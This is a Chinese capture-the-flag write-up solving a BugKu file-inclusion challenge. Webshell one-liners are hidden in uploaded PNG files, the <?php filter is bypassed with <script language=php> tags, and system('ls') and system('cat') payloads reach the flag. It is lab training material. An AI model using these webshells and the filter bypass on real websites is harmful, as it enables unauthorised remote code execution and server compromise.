BugKu Web渗透之 文件包含2

启动场景,打开网页,如下图所示。

步骤一:查看请求的数据。

发现响应中有一个upload.php的注释。

步骤二:访问upload.php

发现是一个文件上传的页面。

**步骤三:(方法一)**用菜刀或蚁剑连接,上传一句话木马。

1.测试其他类型的文件是否能上传,测试了txt和php后缀的,结果都显示upload failed。

2.截图保存图片,之后在文件内容后添加一句话木马,上传提示成功,并显示了保存的路径。

一句话木马为:<?php @assert($_REQUEST['pass']); ?>

此时会显示上传成功,并返回上传路径。

3.根据上传地址访问文件。

index.php?file=upload/*****.png

网页显示内容如下:

发现<?php 和 ?> 被屏蔽。

4.重新写一句话木马,避开被屏蔽的字段。

把<?php用 <script language=php 代替,

<script language=php>eval($_POST['pass']);</script>

5.蚁剑或者菜刀连接。

6.连接成功,之后文件列表中的根目录找到flag文件

双击打开,得到flag。

**步骤三:(方法二)**用冰蝎连接。

1.上传完整shell,php语言的,把其中的<?php 和 ?> 替换成<script language=php> 和</script>

2.新增Shell。

3.双击连接,基本信息页面显示这样就是连接成功了。

4.文件管理页面,查找flag,并双击显示。

**步骤三:(方法三)**使用系统命令去查看flag

1.尝试上传文件内容为:<script language=php>system("ls")</script>的文件,将文件后缀从txt改为png。

2.上传完成后,根据上传目录去查看,结果发现显示了文件目录。

但是ls是不显示文件的,于是我把ls 后加了参数-a,这样就能显示文件夹和文件了。

3.继续尝试 ls -a ..、 ls -a ../..、 ls -a ../../.. ,分别将这些内容替换上面的ls,之后文件上传,再查看上传文件的路径,显示内容依次为:

4.在最后一张图发现了flag字样,于是,<script language=php>system("cat ../../flag")</script>,同样是上传后,通过路径查看,最后显示flag。

其实这题还有一个更简单的方法,就是直接在file=后加上/flag,直接就显示flag了。但是一般来说,不会这么简单,所以我们还是得把思路和流程都走一遍。

相关推荐
智者知已应修善业8 小时前
【输入两个数字,判断两数相乘是否等于各自逆序数相乘】2023-10-24
c语言·c++·经验分享·笔记·算法·1024程序员节
CoderYanger18 小时前
动态规划算法-子数组、子串系列(数组中连续的一段):21.乘积最大子数组
开发语言·算法·leetcode·职场和发展·动态规划·1024程序员节
CoderYanger18 小时前
A.每日一题——3432. 统计元素和差值为偶数的分区方案
java·数据结构·算法·leetcode·1024程序员节
CoderYanger19 小时前
动态规划算法-子数组、子串系列(数组中连续的一段):26.环绕字符串中唯一的子字符串
java·算法·leetcode·动态规划·1024程序员节
pandarking1 天前
[CTF]攻防世界:SSRF Me
web安全·ctf
聊询QQ:688238861 天前
线性参变(LPV)+鲁棒模型预测控制(RMPC)+路径跟踪(PTC),目前能实现20-25m/...
web安全
视觉&物联智能1 天前
【杂谈】-音频深度伪造技术:识别与防范全攻略
人工智能·web安全·ai·aigc·音视频·agi
CNRio2 天前
第8章 网络安全应急响应
网络·安全·web安全
漏洞文库-Web安全2 天前
Linux逆向学习记录
linux·运维·学习·安全·web安全·网络安全·逆向